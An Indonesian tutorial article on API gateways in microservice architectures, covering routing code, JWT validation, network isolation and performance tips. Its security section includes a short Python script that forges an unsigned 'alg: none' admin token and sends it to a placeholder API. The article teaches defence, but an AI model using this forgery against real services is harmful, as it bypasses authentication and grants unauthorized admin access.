Microservices dan API Gateway: Arsitektur Modern, Performa Kilat, dan Celah Keamanan yang Sering Diabaikan
Ketika aplikasi monolitik mulai sulit di-scale dan proses deploy-nya memakan waktu berjam-jam, banyak tim beralih ke microservices. Setiap layanan (users, orders, payments) berdiri sendiri, punya database sendiri, dan bisa di-deploy tanpa menyentuh layanan lain. Masalahnya, klien sekarang harus tahu puluhan alamat endpoint, dan itu mimpi buruk untuk dikelola.
Di sinilah API Gateway berperan. Ia menjadi satu pintu masuk (single entry point) yang menangani routing, autentikasi, rate limiting, caching, sampai logging. Artikel ini membahas cara membangunnya, sekaligus membedah salah satu celah keamanan paling berbahaya: JWT algorithm confusion.
Peran API Gateway dalam Arsitektur Microservices
Gateway duduk di antara klien dan kumpulan service. Tanggung jawab utamanya:
- Routing — memetakan
/api/orders/*ke service orders. - Cross-cutting concerns — auth, rate limit, tracing, tanpa perlu diimplementasi ulang di tiap service.
- Protocol translation — REST di luar, gRPC di dalam.
- Aggregation — menggabungkan respons beberapa service menjadi satu payload (pola BFF / Backend for Frontend).
Penting dipahami: gateway adalah trust boundary. Apa pun yang lolos dari gateway dianggap tepercaya oleh service di belakangnya. Kalau boundary ini bocor, seluruh sistem bocor.
Contoh Implementasi API Gateway (Node.js)
const express = require('express');
const { createProxyMiddleware } = require('http-proxy-middleware');
const rateLimit = require('express-rate-limit');
const app = express();
app.use(rateLimit({ windowMs: 60_000, max: 100 }));
const routes = {
'/api/users': 'http://users-service:3001',
'/api/orders': 'http://orders-service:3002',
'/api/payments': 'http://payments-service:3003',
};
for (const [path, target] of Object.entries(routes)) {
app.use(path, createProxyMiddleware({
target,
changeOrigin: true,
onProxyReq: (proxyReq, req) => {
// WAJIB: buang header identitas dari klien agar tidak bisa dipalsukan
proxyReq.removeHeader('x-user-id');
proxyReq.removeHeader('x-user-role');
if (req.user) {
proxyReq.setHeader('x-user-id', req.user.id);
proxyReq.setHeader('x-user-role', req.user.role);
}
},
}));
}
app.listen(8080, () => console.log('Gateway jalan di :8080'));
Analisis Keamanan: Serangan JWT alg: none
Cara kerja celah. JWT berbentuk header.payload.signature, semuanya Base64URL. Header berisi klaim alg yang memberi tahu server algoritma penandatanganan. Kesalahannya: banyak implementasi mempercayai klaim alg dari token itu sendiri, bukan menetapkannya di sisi verifier. Penyerang tinggal mengubah alg menjadi none dan menghapus signature. Jika library tidak memvalidasi, token palsu dianggap sah.
Demonstrasi eksploitasi. Berikut skrip untuk memalsukan token sebagai admin:
import base64, json, requests
def b64(data):
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
header = b64(json.dumps({"alg": "none", "typ": "JWT"}).encode())
payload = b64(json.dumps({"sub": "1", "role": "admin"}).encode())
token = f"{header}.{payload}." # signature sengaja dikosongkan
r = requests.get(
"https://api.example.com/api/users/1",
headers={"Authorization": f"Bearer {token}"}
)
print(r.status_code, r.text) # 200 OK = sistem berhasil ditembus
Dampaknya fatal: penyerang mendapat hak admin tanpa mengetahui satu pun kredensial. Varian lain memakai alg: HS256 dengan public key RSA sebagai HMAC secret.
Cara Pencegahan yang Harus Diterapkan
1. Whitelist algoritma secara eksplisit. Jangan pernah biarkan token menentukan algoritmanya sendiri:
const jwt = require('jsonwebtoken');
function auth(req, res, next) {
const token = (req.headers.authorization || '').split(' ')[1];
try {
req.user = jwt.verify(token, process.env.JWT_PUBLIC_KEY, {
algorithms: ['RS256'], // hanya RS256, tolak yang lain
issuer: 'https://auth.example.com', // validasi iss
audience: 'api-gateway', // validasi aud
});
next();
} catch {
res.status(401).json({ error: 'unauthorized' });
}
}
2. Jangan percaya header identitas dari luar. Selalu removeHeader pada X-User-Id / X-User-Role di gateway sebelum meneruskan request.
3. Isolasi jaringan. Service backend tidak boleh punya IP publik. Terapkan NetworkPolicy di Kubernetes atau private subnet di cloud, sehingga semua trafik wajib lewat gateway.
4. Validasi klaim lengkap — exp, nbf, iss, aud, dan rotasi signing key secara berkala. Gunakan akses token berumur pendek (5–15 menit) plus refresh token.
5. Tambahkan lapisan pertahanan — rate limiting per API key, WAF, mTLS antar service, dan audit log terpusat untuk setiap perubahan role.
Tips Performa dan SEO Praktis
- Caching berlapis — simpan respons GET yang jarang berubah di gateway (Redis, TTL 60 detik). Ini memangkas latency hingga 80% dan memperbaiki Core Web Vitals (LCP/TTFB).
- Aktifkan kompresi Brotli/Gzip dan HTTP/2 agar satu koneksi melayani banyak request.
- Kurangi chattiness — agregasikan beberapa panggilan service menjadi satu endpoint di gateway, jangan biarkan frontend memanggil 5 API berbeda untuk satu halaman.
- Gunakan URL semantik seperti
/api/v1/orders/— konsisten, mudah di-cache, dan ramah dokumentasi publik yang membantu SEO. - Pasang timeout dan circuit breaker di setiap route agar satu service lambat tidak menular ke seluruh sistem.
Kesimpulan
API Gateway adalah komponen wajib dalam arsitektur microservices modern: ia menyederhanakan konsumsi API, memusatkan autentikasi, dan membuka jalan untuk caching serta observabilitas. Namun gateway juga merupakan trust boundary paling kritis. Satu kesalahan kecil — seperti mempercayai klaim alg pada JWT — bisa membuka akses admin penuh. Kuncinya ada tiga: whitelist algoritma secara ketat, bersihkan header identitas dari klien, dan isolasi service backend dari internet publik. Padukan dengan caching, kompresi, dan agregasi endpoint agar sistem tidak hanya aman, tetapi juga cepat dan siap menghadapi trafik besar.